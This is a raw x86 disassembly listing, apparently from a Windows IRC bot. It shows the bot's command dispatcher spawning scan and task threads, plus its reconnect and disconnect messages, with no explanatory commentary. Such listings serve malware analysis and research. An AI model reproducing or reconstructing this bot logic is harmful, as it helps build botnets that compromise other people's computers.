add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4C9390
push eax
lea eax, [ebp+var_860]
push eax
call sub_41BD70
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_860]
push eax
call sub_41C5B0
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_403907
loc_4038E5: ; CODE XREF: sub_401AC7+1E3Ej
cmp eax, ebx
jz short loc_403907
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41C5B0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, esi
jl short loc_4038E5
loc_403907: ; CODE XREF: sub_401AC7+1E1Cj
; sub_401AC7+1E20j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov esi, [ebp+var_4]
mov edi, [ebp+var_8]
mov [ebp+var_750], eax
lea eax, [ebp+var_850]
push 80h
push eax
mov [ebp+var_720], 1
mov [ebp+var_728], esi
mov [ebp+var_724], edi
call sub_41C100
push offset byte_43B4B8
push offset aF ; "#f"
call sub_41C7E0
add esp, 14h
test eax, eax
jz short loc_403974
push offset aF ; "#f"
lea eax, [ebp+var_7D0]
push 80h
push eax
call sub_41C100
add esp, 0Ch
jmp short loc_40397A
; ---------------------------------------------------------------------------
loc_403974: ; CODE XREF: sub_401AC7+1E90j
mov [ebp+var_7D0], bl
loc_40397A: ; CODE XREF: sub_401AC7+1EABj
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_40398C
mov eax, offset aSequential ; "Sequential"
loc_40398C: ; CODE XREF: sub_401AC7+1EBEj
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C2D0
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3AD
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset loc_40C5E7
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_403A16
loc_403A04: ; CODE XREF: sub_401AC7+1F4Dj
cmp [ebp+var_71C], ebx
jnz short loc_403A31
push 32h
call near ptr 268051Bh
nop
jmp short loc_403A04
; ---------------------------------------------------------------------------
loc_403A16: ; CODE XREF: sub_401AC7+1F3Bj
nop
call near ptr 2680DCDh
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C294
push eax
call sub_41C006
add esp, 0Ch
loc_403A31: ; CODE XREF: sub_401AC7+1F43j
cmp edi, ebx
jnz short loc_403A4F
push ebx
lea eax, [ebp+var_2C4]
push esi
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
loc_403A4F: ; CODE XREF: sub_401AC7+1F6Cj
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
pop ecx
loc_403A5C: ; CODE XREF: sub_401AC7+1D26j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_40379F
jmp loc_401F6C
; ---------------------------------------------------------------------------
loc_403A70: ; CODE XREF: sub_401AC7+1D9Ej
push offset unk_42C25C
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_403A7A: ; CODE XREF: sub_401AC7+1AF8j
; sub_401AC7+1B0Dj
push 5
call sub_40B5F5
test eax, eax
pop ecx
jle short loc_403A90
push offset unk_42C23C
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_403A90: ; CODE XREF: sub_401AC7+1FBDj
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403AB3
push eax
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
call sub_41C100
add esp, 0Ch
jmp short loc_403AC7
; ---------------------------------------------------------------------------
loc_403AB3: ; CODE XREF: sub_401AC7+1FD2j
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
push ebx
nop
call near ptr 2670000h
loc_403AC7: ; CODE XREF: sub_401AC7+1FEAj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403AD7
mov esi, offset byte_429108
loc_403AD7: ; CODE XREF: sub_401AC7+2009j
push esi
lea eax, [ebp+var_2C50]
push edi
push eax
call sub_41C100
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B44], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B48], ebx
mov [ebp+var_2D58], eax
lea eax, [ebp+var_2B40]
push eax
call sub_41BD70
mov eax, [ebp+var_4]
mov [ebp+var_2AC0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2ABC], eax
lea eax, [ebp+var_2D54]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B44]
push offset unk_42C208
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B3AD
add esp, 34h
mov [ebp+var_2B4C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D58]
push ebx
push eax
push offset byte_412155
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_2B4C]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_403BA0
loc_403B8A: ; CODE XREF: sub_401AC7+20D7j
cmp [ebp+var_2AB8], ebx
jnz loc_4081DE
push 32h
nop
call near ptr 268051Bh
jmp short loc_403B8A
; ---------------------------------------------------------------------------
loc_403BA0: ; CODE XREF: sub_401AC7+20C1j
call near ptr 2680DCDh
nop
push eax
push offset unk_42C1CC
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_403BB1: ; CODE XREF: sub_401AC7+1ACEj
; sub_401AC7+1AE3j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403BD0
push edi
call sub_41BEF9
test eax, eax
pop ecx
jz short loc_403BD0
push edi
call sub_41BEF9
pop ecx
jmp short loc_403BD5
; ---------------------------------------------------------------------------
loc_403BD0: ; CODE XREF: sub_401AC7+20F3j
; sub_401AC7+20FEj
mov eax, dword_42907C
loc_403BD5: ; CODE XREF: sub_401AC7+2107j
mov esi, [ebp+esi+var_88]
mov [ebp+var_36CC], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B8], eax
jz short loc_403C08
lea eax, [ebp+var_37D0]
push esi
push eax
call sub_41C006
pop ecx
pop ecx
jmp short loc_403C33
; ---------------------------------------------------------------------------
loc_403C08: ; CODE XREF: sub_401AC7+212Ej
lea eax, [ebp+var_49F4]
push 104h
push eax
nop
call near ptr 2680000h
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_49F4]
push eax
call sub_41C151
add esp, 14h
loc_403C33: ; CODE XREF: sub_401AC7+213Fj
lea eax, [ebp+var_37D0]
push eax
call sub_41B960
cmp [ebp+eax+var_37D1], 5Ch
pop ecx
jnz short loc_403C5E
lea eax, [ebp+var_37D0]
push eax
call sub_41B960
pop ecx
mov [ebp+eax+var_37D1], bl
loc_403C5E: ; CODE XREF: sub_401AC7+2181j
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A58]
mov [ebp+var_3A5C], esi
push 80h
push eax
call sub_41C100
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36BC], eax
lea eax, [ebp+var_37D0]
mov [ebp+var_36C0], edi
push eax
push [ebp+var_36CC]
push esi
call sub_40A9FA
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C190
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B3AD
add esp, 20h
mov [ebp+var_36C4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A5C]
push ebx
push eax
push offset sub_40FAA3
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_36C4]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_403D12
loc_403D00: ; CODE XREF: sub_401AC7+2249j
cmp [ebp+var_36B0], ebx
jnz short loc_403D2D
push 32h
nop
call near ptr 268051Bh
jmp short loc_403D00
; ---------------------------------------------------------------------------
loc_403D12: ; CODE XREF: sub_401AC7+2237j
nop
call near ptr 2680DCDh
push eax
push offset unk_42C154
loc_403D1E: ; CODE XREF: sub_401AC7+23A9j
; sub_401AC7+4C27j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
add esp, 0Ch
loc_403D2D: ; CODE XREF: sub_401AC7+223Fj
; sub_401AC7+238Dj ...
cmp [ebp+var_8], ebx
jnz loc_40830C
push ebx
push edi
jmp loc_4071EA
; ---------------------------------------------------------------------------
loc_403D3D: ; CODE XREF: sub_401AC7+1AA4j
; sub_401AC7+1AB9j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403D5C
push edi
call sub_41BEF9
test eax, eax
pop ecx
jz short loc_403D5C
push edi
call sub_41BEF9
pop ecx
jmp short loc_403D61
; ---------------------------------------------------------------------------
loc_403D5C: ; CODE XREF: sub_401AC7+227Fj
; sub_401AC7+228Aj
mov eax, dword_429080
loc_403D61: ; CODE XREF: sub_401AC7+2293j
mov [ebp+var_1828], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403D78
lea eax, [ebp+var_C4]
loc_403D78: ; CODE XREF: sub_401AC7+22A9j
push eax
lea eax, [ebp+var_1968]
push 40h
push eax
call sub_41C100
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403D9A
mov esi, offset byte_43B4B8
loc_403D9A: ; CODE XREF: sub_401AC7+22CCj
push esi
lea eax, [ebp+var_1928]
push 100h
push eax
call sub_41C100
push [ebp+var_88]
lea eax, [ebp+var_19E8]
push 80h
push eax
call sub_41C100
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 18h
mov [ebp+var_1814], eax
lea eax, [ebp+var_1968]
push eax
mov [ebp+var_19EC], esi
push [ebp+var_1828]
mov [ebp+var_1818], edi
push esi
call sub_40A9FA
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C118
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B3AD
add esp, 20h
mov [ebp+var_1824], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19EC]
push ebx
push eax
push offset dword_41140C
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_1824]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_403E64
loc_403E4E: ; CODE XREF: sub_401AC7+239Bj
cmp [ebp+var_1810], ebx
jnz loc_403D2D
push 32h
nop
call near ptr 268051Bh
jmp short loc_403E4E
; ---------------------------------------------------------------------------
loc_403E64: ; CODE XREF: sub_401AC7+2385j
call near ptr 2680DCDh
nop
push eax
push offset unk_42C0DC
jmp loc_403D1E
; ---------------------------------------------------------------------------
loc_403E75: ; CODE XREF: sub_401AC7+1A7Aj
; sub_401AC7+1A8Fj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403E88
push esi
call sub_41BEF9
jmp short loc_403E8F
; ---------------------------------------------------------------------------
loc_403E88: ; CODE XREF: sub_401AC7+23B7j
push 0Bh
call sub_40B614
loc_403E8F: ; CODE XREF: sub_401AC7+23BFj
cmp eax, ebx
pop ecx
jz loc_409643
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BD05
jmp loc_404356
; ---------------------------------------------------------------------------
loc_403EAF: ; CODE XREF: sub_401AC7+1A50j
; sub_401AC7+1A65j
mov eax, dword_4C9220
cmp eax, ebx
jz short loc_403ECC
call eax
test eax, eax
jz short loc_403EC5
push offset unk_42C0B8
jmp short loc_403ED1
; ---------------------------------------------------------------------------
loc_403EC5: ; CODE XREF: sub_401AC7+23F5j
push offset unk_42C08C
jmp short loc_403ED1
; ---------------------------------------------------------------------------
loc_403ECC: ; CODE XREF: sub_401AC7+23EFj
push offset unk_42C060
loc_403ED1: ; CODE XREF: sub_401AC7+23FCj
; sub_401AC7+2403j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C100
jmp loc_406C3F
; ---------------------------------------------------------------------------
loc_403EE7: ; CODE XREF: sub_401AC7+1A26j
; sub_401AC7+1A3Bj
call sub_40A91C
test eax, eax
jz short loc_403EF7
push offset unk_42C03C
jmp short loc_403ED1
; ---------------------------------------------------------------------------
loc_403EF7: ; CODE XREF: sub_401AC7+2427j
push offset unk_42C010
jmp short loc_403ED1
; ---------------------------------------------------------------------------
loc_403EFE: ; CODE XREF: sub_401AC7+19FCj
; sub_401AC7+1A11j
cmp [ebp+var_8], ebx
jnz short loc_403F1D
push ebx
push [ebp+var_4]
push offset dword_42BFF8
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
loc_403F1D: ; CODE XREF: sub_401AC7+243Aj
push ebx
push [ebp+var_4]
call sub_4186D4
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
push offset unk_42BFDC
jmp loc_404222
; ---------------------------------------------------------------------------
loc_403F3F: ; CODE XREF: sub_401AC7+1893j
; sub_401AC7+18A8j
push 0Ah
call sub_40B5F5
test eax, eax
pop ecx
jle short loc_403F52
push offset unk_42BFB0
jmp short loc_403F73
; ---------------------------------------------------------------------------
loc_403F52: ; CODE XREF: sub_401AC7+2482j
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A152
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403F6E
push offset unk_42BF88
jmp short loc_403F73
; ---------------------------------------------------------------------------
loc_403F6E: ; CODE XREF: sub_401AC7+249Ej
push offset unk_42BF68
loc_403F73: ; CODE XREF: sub_401AC7+2489j
; sub_401AC7+24A5j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
pop ecx
pop ecx
loc_403F81: ; CODE XREF: sub_401AC7+57CEj
; sub_401AC7+7124j
cmp [ebp+var_8], ebx
jnz short loc_403FA2
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_403F9A: ; CODE XREF: sub_401AC7+6D9Ej
call sub_409862
add esp, 14h
loc_403FA2: ; CODE XREF: sub_401AC7+24BDj
; sub_401AC7+2699j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
jmp loc_4097D0
; ---------------------------------------------------------------------------
loc_403FB3: ; CODE XREF: sub_401AC7+1869j
; sub_401AC7+187Ej
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A5B9
jmp loc_404243
; ---------------------------------------------------------------------------
loc_403FCC: ; CODE XREF: sub_401AC7+183Fj
; sub_401AC7+1854j
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416F7A
jmp loc_404243
; ---------------------------------------------------------------------------
loc_403FE9: ; CODE XREF: sub_401AC7+1815j
; sub_401AC7+182Aj
or edi, 0FFFFFFFFh
call near ptr 26A0729h
nop
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_404012
push esi
call sub_41BEF9
pop ecx
mov edi, eax
loc_404012: ; CODE XREF: sub_401AC7+2540j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_40402B
cmp edi, 0FFFFFFFFh
jnz loc_409643
loc_40402B: ; CODE XREF: sub_401AC7+2559j
push ebx
call sub_41AD74
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF50
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
loc_404068: ; CODE XREF: sub_401AC7+5E21j
add esp, 28h
jmp loc_409643
; ---------------------------------------------------------------------------
loc_404070: ; CODE XREF: sub_401AC7+17EBj
; sub_401AC7+1800j
push 27h
call sub_40B5F5
test eax, eax
pop ecx
jle short loc_4040A1
cmp [ebp+var_8], ebx
jnz loc_401F6C
push ebx
push [ebp+var_4]
push offset unk_42BF30
loc_40408E: ; CODE XREF: sub_401AC7+4FD2j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
jmp loc_408C05
; ---------------------------------------------------------------------------
loc_4040A1: ; CODE XREF: sub_401AC7+25B3j
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41C100
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
mov [ebp+var_B40], ebx
jz short loc_404102
push esi
push offset aFull ; "full"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404102
mov [ebp+var_B40], 1
loc_404102: ; CODE XREF: sub_401AC7+261Ej
; sub_401AC7+262Fj
lea eax, [ebp+var_2C4]
push offset dword_42BF0C
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B3AD
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset sub_419DD9
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_404170
loc_40415A: ; CODE XREF: sub_401AC7+26A7j
cmp [ebp+var_B34], ebx
jnz loc_403FA2
push 32h
nop
call near ptr 268051Bh
jmp short loc_40415A
; ---------------------------------------------------------------------------
loc_404170: ; CODE XREF: sub_401AC7+2691j
nop
call near ptr 2680DCDh
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BED0
push eax
call sub_41C006
add esp, 0Ch
jmp loc_403FA2
; ---------------------------------------------------------------------------
loc_404190: ; CODE XREF: sub_401AC7+17C1j
; sub_401AC7+17D6j
cmp [ebp+var_8], ebx
jnz short loc_4041AF
push ebx
push [ebp+var_4]
push offset unk_42BEB8
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
loc_4041AF: ; CODE XREF: sub_401AC7+26CCj
push [ebp+arg_4]
call dword_4C939C
call dword_4C925C
call sub_418857
push ebx
nop
call near ptr 77E75CB5h
loc_4041CA: ; CODE XREF: sub_401AC7+1797j
; sub_401AC7+17ACj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AF2B
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
push offset unk_42BEA0
jmp short loc_404222
; ---------------------------------------------------------------------------
loc_4041F5: ; CODE XREF: sub_401AC7+176Dj
; sub_401AC7+1782j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B1DF
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
push offset unk_42BE88
loc_404222: ; CODE XREF: sub_401AC7+2473j
; sub_401AC7+272Cj
call sub_415CEE
loc_404227: ; CODE XREF: sub_401AC7+6E92j
add esp, 18h
jmp loc_409643
; ---------------------------------------------------------------------------
loc_40422F: ; CODE XREF: sub_401AC7+1743j
; sub_401AC7+1758j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415D8E
loc_404243: ; CODE XREF: sub_401AC7+3C5j
; sub_401AC7+2500j ...
add esp, 10h
jmp loc_401F6C
; ---------------------------------------------------------------------------
loc_40424B: ; CODE XREF: sub_401AC7+1719j
; sub_401AC7+172Ej
cmp [ebp+var_C], ebx
mov [ebp+var_1598], bl
jz short loc_40428A
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40428A
push esi
push [ebp+var_C]
call sub_41C080
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40428A
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_1598]
push 80h
push eax
call sub_41C100
add esp, 10h
loc_40428A: ; CODE XREF: sub_401AC7+278Dj
; sub_401AC7+2798j ...
push [ebp+var_88]
lea eax, [ebp+var_1618]
push 80h
push eax
call sub_41C100
mov eax, [ebp+arg_4]
push offset dword_42BE70
mov [ebp+var_161C], eax
mov eax, [ebp+var_4]
mov [ebp+var_1514], eax
mov eax, [ebp+var_8]
mov [ebp+var_1510], eax
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B3AD
add esp, 20h
mov [ebp+var_1518], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_161C]
push ebx
push eax
push offset byte_415E01
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_1518]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_40432A
loc_404314: ; CODE XREF: sub_401AC7+2861j
cmp [ebp+var_150C], ebx
jnz loc_401F6C
push 32h
nop
call near ptr 268051Bh
jmp short loc_404314
; ---------------------------------------------------------------------------
loc_40432A: ; CODE XREF: sub_401AC7+284Bj
call near ptr 2680DCDh
nop
push eax
push offset unk_42BE38
jmp loc_4097CA
; ---------------------------------------------------------------------------
loc_40433B: ; CODE XREF: sub_401AC7+16EFj
; sub_401AC7+1704j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415C76
push offset unk_42BE20
call sub_415CEE
loc_404356: ; CODE XREF: sub_401AC7+23E3j
add esp, 10h
jmp loc_409643
; ---------------------------------------------------------------------------
loc_40435E: ; CODE XREF: sub_401AC7+16C5j
; sub_401AC7+16DAj
push [ebp+var_88]
lea eax, [ebp+var_C5C]
push 80h
push eax
call sub_41C100
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_C60], eax
mov eax, [ebp+var_4]
mov [ebp+var_BD4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_BD0], eax
jz short loc_4043B8
push offset dword_42BE1C
push esi
call sub_41C7E0
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_BD8], eax
jmp short loc_4043BE
; ---------------------------------------------------------------------------
loc_4043B8: ; CODE XREF: sub_401AC7+28D5j
mov [ebp+var_BD8], ebx
loc_4043BE: ; CODE XREF: sub_401AC7+28EFj
lea eax, [ebp+var_2C4]
push offset dword_42BDFC
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B3AD
add esp, 14h
mov [ebp+var_BDC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C60]
push ebx
push eax
push offset dword_40B418
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_BDC]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_40442C
loc_404416: ; CODE XREF: sub_401AC7+2963j
cmp [ebp+var_BCC], ebx
jnz loc_406C63
push 32h
nop
call near ptr 268051Bh
jmp short loc_404416
; ---------------------------------------------------------------------------
loc_40442C: ; CODE XREF: sub_401AC7+294Dj
nop
call near ptr 2680DCDh
push eax
push offset unk_42BDC0
jmp loc_4090AC
; ---------------------------------------------------------------------------
loc_40443D: ; CODE XREF: sub_401AC7+1649j
; sub_401AC7+165Ej
push offset a1221 ; "1221"
lea eax, [ebp+var_2C4]
push offset unk_42BDA8
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 20h
jmp loc_406C63
; ---------------------------------------------------------------------------
loc_404474: ; CODE XREF: sub_401AC7+161Fj
; sub_401AC7+1634j
push dword_4C9044
call sub_41AD74
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BD7C
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 24h
jmp loc_406C63
; ---------------------------------------------------------------------------
loc_4044B2: ; CODE XREF: sub_401AC7+15F5j
; sub_401AC7+160Aj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4044E4
cmp [ebp+var_C], ebx
jz short loc_4044F3
push esi
push [ebp+var_C]
call sub_41C080
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4044F3
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_40981C
add esp, 0Ch
jmp short loc_4044F3
; ---------------------------------------------------------------------------
loc_4044E4: ; CODE XREF: sub_401AC7+29F4j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_40981C
pop ecx
pop ecx
loc_4044F3: ; CODE XREF: sub_401AC7+29F9j
; sub_401AC7+2A08j ...
push 0FFFFFFFEh
jmp loc_401F6E
; ---------------------------------------------------------------------------
loc_4044FA: ; CODE XREF: sub_401AC7+15CBj
; sub_401AC7+15E0j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_40981C
push offset unk_42BD2C
call sub_415CEE
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401F6F
; ---------------------------------------------------------------------------
loc_40451C: ; CODE XREF: sub_401AC7+15A1j
; sub_401AC7+15B6j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_40981C
push offset unk_42BCFC
call sub_415CEE
add esp, 0Ch
jmp loc_4095B3
; ---------------------------------------------------------------------------
loc_40453B: ; CODE XREF: sub_401AC7+1577j
; sub_401AC7+158Cj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA8E
jmp loc_4048FA
; ---------------------------------------------------------------------------
loc_404551: ; CODE XREF: sub_401AC7+154Dj
; sub_401AC7+1562j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA3A
jmp loc_4048FA
; ---------------------------------------------------------------------------
loc_404567: ; CODE XREF: sub_401AC7+1523j
; sub_401AC7+1538j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B9CF
jmp loc_4048FA
; ---------------------------------------------------------------------------
loc_40457D: ; CODE XREF: sub_401AC7+14F9j
; sub_401AC7+150Ej
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B901
jmp loc_4048FA
; ---------------------------------------------------------------------------
loc_404593: ; CODE XREF: sub_401AC7+1454j
; sub_401AC7+1469j
push [ebp+esi+var_8C]
push 27h
push offset dword_42BCEC
push offset dword_42BCDC
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_4045AB: ; CODE XREF: sub_401AC7+142Aj
; sub_401AC7+143Fj
push [ebp+esi+var_8C]
push 24h
push offset dword_42BCD0
push offset dword_42BCC0
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_4045C3: ; CODE XREF: sub_401AC7+1043j
; sub_401AC7+1058j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_4045E2
push edi
call sub_41BEF9
test eax, eax
pop ecx
jz short loc_4045E2
push edi
call sub_41BEF9
pop ecx
jmp short loc_4045E7
; ---------------------------------------------------------------------------
loc_4045E2: ; CODE XREF: sub_401AC7+2B05j
; sub_401AC7+2B10j
mov eax, dword_429074
loc_4045E7: ; CODE XREF: sub_401AC7+2B19j
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_40460C
push esi
loc_4045F9: ; CODE XREF: sub_401AC7+2B54j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41C100
add esp, 0Ch
jmp short loc_404623
; ---------------------------------------------------------------------------
loc_40460C: ; CODE XREF: sub_401AC7+2B2Fj
cmp [ebp+var_8FF], bl
jz short loc_40461D
lea eax, [ebp+var_C4]
push eax
jmp short loc_4045F9
; ---------------------------------------------------------------------------
loc_40461D: ; CODE XREF: sub_401AC7+2B4Bj
mov [ebp+var_5A0], bl
loc_404623: ; CODE XREF: sub_401AC7+2B43j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41C100
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40A9FA
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BC98
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B3AD
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset dword_411B8C
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_4046D4
loc_4046BE: ; CODE XREF: sub_401AC7+2C0Bj
cmp [ebp+var_57C], ebx
jnz loc_401F6C
push 32h
nop
call near ptr 268051Bh
jmp short loc_4046BE
; ---------------------------------------------------------------------------
loc_4046D4: ; CODE XREF: sub_401AC7+2BF5j
nop
call near ptr 2680DCDh
push eax
